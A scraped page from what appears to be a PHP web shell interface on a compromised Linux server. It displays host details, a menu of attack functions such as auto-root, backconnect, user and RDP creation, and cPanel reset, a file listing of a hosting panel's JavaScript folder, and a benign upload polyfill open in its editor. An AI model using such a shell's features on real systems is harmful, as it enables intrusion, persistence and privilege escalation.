Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 13.59.134.12
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
BTPanel /
static /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
Validform_v5.3.2_min.js
20.17
KB
-rwxr-xr-x
aes.js
22.15
KB
-rwxr-xr-x
bootstrap-select.min.js
30.91
KB
-rwxr-xr-x
bootstrap.min.js
35.95
KB
-rwxr-xr-x
bt_upload.js
6.46
KB
-rwxr-xr-x
china.js
60.38
KB
-rwxr-xr-x
clipboard.min.js
10.41
KB
-rwxr-xr-x
config.js
62.92
KB
-rwxr-xr-x
control.js
43.36
KB
-rwxr-xr-x
countryCode.json
27.27
KB
-rwxr-xr-x
crontab.js
61.74
KB
-rwxr-xr-x
database.js
103.01
KB
-rwxr-xr-x
docker.js
151.43
KB
-rwxr-xr-x
echarts.min.js
950.32
KB
-rwxr-xr-x
files.js
233.97
KB
-rwxr-xr-x
files.min.js
121.19
KB
-rwxr-xr-x
firewall.js
102.42
KB
-rwxr-xr-x
i18next.min.js
47.94
KB
-rwxr-xr-x
index.html
0
B
-rwxr-xr-x
index.js
123.52
KB
-rwxr-xr-x
jquery-1.10.2.min.js
90.88
KB
-rwxr-xr-x
jquery-2.2.4.min.js
83.57
KB
-rwxr-xr-x
jquery-ui.min.js
247.72
KB
-rwxr-xr-x
jquery.contextify.min.js
2.7
KB
-rwxr-xr-x
jquery.dragsort-0.5.2.min.js
8.92
KB
-rwxr-xr-x
jquery.fly.min.js
1.79
KB
-rwxr-xr-x
jquery.i18n.properties.js
16.59
KB
-rwxr-xr-x
jquery.qrcode.min.js
13.67
KB
-rwxr-xr-x
jsencrypt.min.js
175.64
KB
-rwxr-xr-x
logs.js
39.53
KB
-rwxr-xr-x
md5.js
8.34
KB
-rwxr-xr-x
polyfill.js
9.31
KB
-rwxr-xr-x
polyfill.min.js
520
B
-rwxr-xr-x
public.js
231.13
KB
-rwxr-xr-x
public_backup.js
352.53
KB
-rwxr-xr-x
qrcode.min.js
19.46
KB
-rwxr-xr-x
requestAnimationFrame.js
901
B
-rwxr-xr-x
site.js
458.68
KB
-rwxr-xr-x
socket.io.min.js
63.54
KB
-rwxr-xr-x
soft.js
266.85
KB
-rwxr-xr-x
term.js
48.74
KB
-rwxr-xr-x
tools.js
130.2
KB
-rwxr-xr-x
tools.min.js
80.67
KB
-rwxr-xr-x
upload-drog.js
38.45
KB
-rwxr-xr-x
upload.js
8.11
KB
-rwxr-xr-x
xterm.js
295.86
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : polyfill.js
/********************************** Directory Upload Proposal Polyfill Author: Ali Alabbas (Microsoft) **********************************/ (function() { // Do not proceed with the polyfill if Directory interface is already natively available, // or if webkitdirectory is not supported (i.e. not Chrome, since the polyfill only works in Chrome) if (window.Directory || !('webkitdirectory' in document.createElement('input') && 'webkitGetAsEntry' in DataTransferItem.prototype)) { return; } var allowdirsAttr = 'allowdirs', getFilesMethod = 'getFilesAndDirectories', isSupportedProp = 'isFilesAndDirectoriesSupported', chooseDirMethod = 'chooseDirectory'; var separator = '/'; var Directory = function() { this.name = ''; this.path = separator; this._children = {}; this._items = false; }; Directory.prototype[getFilesMethod] = function() { var that = this; // from drag and drop and file input drag and drop (webkitEntries) if (this._items) { var getItem = function(entry) { if (entry.isDirectory) { var dir = new Directory(); dir.name = entry.name; dir.path = entry.fullPath; dir._items = entry; return dir; } else { return new Promise(function(resolve, reject) { entry.file(function(file) { resolve(file); }, reject); }); } }; if (this.path === separator) { var promises = []; for (var i = 0; i < this._items.length; i++) { var entry; // from file input drag and drop (webkitEntries) if (this._items[i].isDirectory || this._items[i].isFile) { entry = this._items[i]; } else { entry = this._items[i].webkitGetAsEntry(); } promises.push(getItem(entry)); } return Promise.all(promises); } else { return new Promise(function(resolve, reject) { var dirReader = that._items.createReader(); var promises = []; var readEntries = function() { dirReader.readEntries(function(entries) { if (!entries.length) { resolve(Promise.all(promises)); } else { for (var i = 0; i < entries.length; i++) { promises.push(getItem(entries[i])); } readEntries(); } }, reject); }; readEntries(); }); } // from file input manual selection } else { var arr = []; for (var child in this._children) { arr.push(this._children[child]); } return Promise.resolve(arr); } }; // set blank as default for all inputs HTMLInputElement.prototype[getFilesMethod] = function() { return Promise.resolve([]); }; // if OS is Mac, the combined directory and file picker is supported HTMLInputElement.prototype[isSupportedProp] = navigator.appVersion.indexOf("Mac") !== -1; HTMLInputElement.prototype[allowdirsAttr] = undefined; HTMLInputElement.prototype[chooseDirMethod] = undefined; // expose Directory interface to window window.Directory = Directory; /******************** **** File Input **** ********************/ var convertInputs = function(nodes) { var recurse = function(dir, path, fullPath, file) { var pathPieces = path.split(separator); var dirName = pathPieces.shift(); if (pathPieces.length > 0) { var subDir = new Directory(); subDir.name = dirName; subDir.path = separator + fullPath; if (!dir._children[subDir.name]) { dir._children[subDir.name] = subDir; } recurse(dir._children[subDir.name], pathPieces.join(separator), fullPath, file); } else { dir._children[file.name] = file; } }; for (var i = 0; i < nodes.length; i++) { var node = nodes[i]; if (node.tagName === 'INPUT' && node.type === 'file') { var getFiles = function() { var files = node.files; if (draggedAndDropped) { files = node.webkitEntries; draggedAndDropped = false; } else { if (files.length === 0) { files = node.shadowRoot.querySelector('#input1').files; if (files.length === 0) { files = node.shadowRoot.querySelector('#input2').files; if (files.length === 0) { files = node.webkitEntries; } } } } return files; }; var draggedAndDropped = false; node.addEventListener('drop', function(e) { draggedAndDropped = true; }, false); if (node.hasAttribute(allowdirsAttr)) { // force multiple selection for default behavior if (!node.hasAttribute('multiple')) { node.setAttribute('multiple', ''); } var shadow = node.createShadowRoot(); node[chooseDirMethod] = function() { // can't do this without an actual click console.log('This is unsupported. For security reasons the dialog cannot be triggered unless it is a response to some user triggered event such as a click on some other element.'); }; shadow.innerHTML = '<div style="border: 1px solid #999; padding: 3px; width: 235px; box-sizing: content-box; font-size: 14px; height: 21px;">' + '<div id="fileButtons" style="box-sizing: content-box;">' + '<button id="button1" style="width: 100px; box-sizing: content-box;">Choose file(s)...</button>' + '<button id="button2" style="width: 100px; box-sizing: content-box; margin-left: 3px;">Choose folder...</button>' + '</div>' + '<div id="filesChosen" style="padding: 3px; display: none; box-sizing: content-box;"><span id="filesChosenText">files selected...</span>' + '<a id="clear" title="Clear selection" href="javascript:;" style="text-decoration: none; float: right; margin: -3px -1px 0 0; padding: 3px; font-weight: bold; font-size: 16px; color:#999; box-sizing: content-box;">×</a>' + '</div>' + '</div>' + '<input id="input1" type="file" multiple style="display: none;">' + '<input id="input2" type="file" webkitdirectory style="display: none;">' + '</div>'; shadow.querySelector('#button1').onclick = function(e) { e.preventDefault(); shadow.querySelector('#input1').click(); }; shadow.querySelector('#button2').onclick = function(e) { e.preventDefault(); shadow.querySelector('#input2').click(); }; var toggleView = function(defaultView, filesLength) { shadow.querySelector('#fileButtons').style.display = defaultView ? 'block' : 'none'; shadow.querySelector('#filesChosen').style.display = defaultView ? 'none' : 'block'; if (!defaultView) { shadow.querySelector('#filesChosenText').innerText = filesLength + ' file' + (filesLength > 1 ? 's' : '') + ' selected...'; } }; var changeHandler = function(e) { node.dispatchEvent(new Event('change')); toggleView(false, getFiles().length); }; shadow.querySelector('#input1').onchange = shadow.querySelector('#input2').onchange = changeHandler; var clear = function (e) { toggleView(true); var form = document.createElement('form'); node.parentNode.insertBefore(form, node); node.parentNode.removeChild(node); form.appendChild(node); form.reset(); form.parentNode.insertBefore(node, form); form.parentNode.removeChild(form); // reset does not instantly occur, need to give it some time setTimeout(function() { node.dispatchEvent(new Event('change')); }, 1); }; shadow.querySelector('#clear').onclick = clear; } node.addEventListener('change', function() { var dir = new Directory(); var files = getFiles(); if (files.length > 0) { if (node.hasAttribute(allowdirsAttr)) { toggleView(false, files.length); } // from file input drag and drop (webkitEntries) if (files[0].isFile || files[0].isDirectory) { dir._items = files; } else { for (var j = 0; j < files.length; j++) { var file = files[j]; var path = file.webkitRelativePath; var fullPath = path.substring(0, path.lastIndexOf(separator)); recurse(dir, path, fullPath, file); } } } else if (node.hasAttribute(allowdirsAttr)) { toggleView(true, files.length); } this[getFilesMethod] = function() { return dir[getFilesMethod](); }; }); } } }; // polyfill file inputs when the DOM loads document.addEventListener('DOMContentLoaded', function(event) { convertInputs(document.getElementsByTagName('input')); }); // polyfill file inputs that are created dynamically and inserted into the body var observer = new MutationObserver(function(mutations, observer) { for (var i = 0; i < mutations.length; i++) { if (mutations[i].addedNodes.length > 0) { convertInputs(mutations[i].addedNodes); } } }); observer.observe(document.body, {childList: true, subtree: true}); /*********************** **** Drag and drop **** ***********************/ // keep a reference to the original method var _addEventListener = EventTarget.prototype.addEventListener; DataTransfer.prototype[getFilesMethod] = function() { return Promise.resolve([]); }; EventTarget.prototype.addEventListener = function(type, listener, useCapture) { if (type === 'drop') { var _listener = listener; listener = function(e) { var dir = new Directory(); dir._items = e.dataTransfer.items; e.dataTransfer[getFilesMethod] = function() { return dir[getFilesMethod](); }; _listener(e); }; } // call the original method return _addEventListener.apply(this, arguments); }; }());
Close